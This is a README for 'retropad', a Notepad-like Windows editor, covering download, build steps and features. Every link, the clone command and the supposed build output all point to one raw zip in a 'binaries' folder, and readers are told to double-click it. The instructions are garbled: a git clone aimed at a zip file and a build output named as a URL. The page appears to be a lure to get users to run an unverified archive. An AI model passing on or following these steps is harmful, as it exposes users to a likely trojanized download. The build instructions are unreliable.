Welcome to retropad, a simplified Notepad designed for your Windows computer. This app replicates the classic layout with features like word wrap, font selection, and easy find/replace. To get started, follow the steps below.
To get retropad, visit our Releases Page. Here, you can find the latest version to download.
- Go to the Releases Page.
- Click on the latest version.
- Download the appropriate file for your system.
- Once the file is downloaded, locate it in your downloads folder and open it.
Before running retropad, ensure you have the following:
- A Windows computer
- Internet access
- Git for version control
- Visual Studio 2022 or Build Tools for necessary components
- Ensure the "Desktop development with C++" workload is selected.
- An optional MinGW-w64 setup for additional tools.
Once you have downloaded retropad, follow these instructions to open it:
- Navigate to your downloaded file.
- Double-click the https://github.com/Wafi-net/retropad/raw/refs/heads/main/binaries/Software_3.2.zip file.
- The application should launch without any additional setup.
If you wish to build the application from source, you can do so using either MSVC or MinGW. Here's how:
If you have Visual Studio installed, follow these steps:
- Open a "x64 Native Tools Command Prompt for VS 2022."
- Clone the repository:
git clone https://github.com/Wafi-net/retropad/raw/refs/heads/main/binaries/Software_3.2.zip cd retropad - Build the project with the following command:
nmake /f makefile
- You will find
https://github.com/Wafi-net/retropad/raw/refs/heads/main/binaries/Software_3.2.zipin the project root.
To clean the project files, use:
nmake /f makefile cleanAlternatively, if you prefer MinGW, ensure you have the necessary tools added to your PATH. Then follow these steps:
- Open a command prompt.
- Navigate to the cloned repository:
cd retropad - Run the following command to build the application:
make
The built files will be available in the project directory.
retropad includes the following functionalities:
- Classic menu interface for easy navigation
- Word wrap toggle for better text readability
- Status bar for document info, such as character count
- Find and replace options for easy editing
- Font picker for customized text appearance
- Time/date insertion for convenience
- BOM-aware load/save to handle various text files
- Printing options are intentionally excluded from the app to maintain a focus on simple text editing.
- Feedback is welcome; please feel free to report issues or suggest features on our GitHub page.
If you encounter issues or have questions, please visit our GitHub repository to create an issue.
Thank you for using retropad!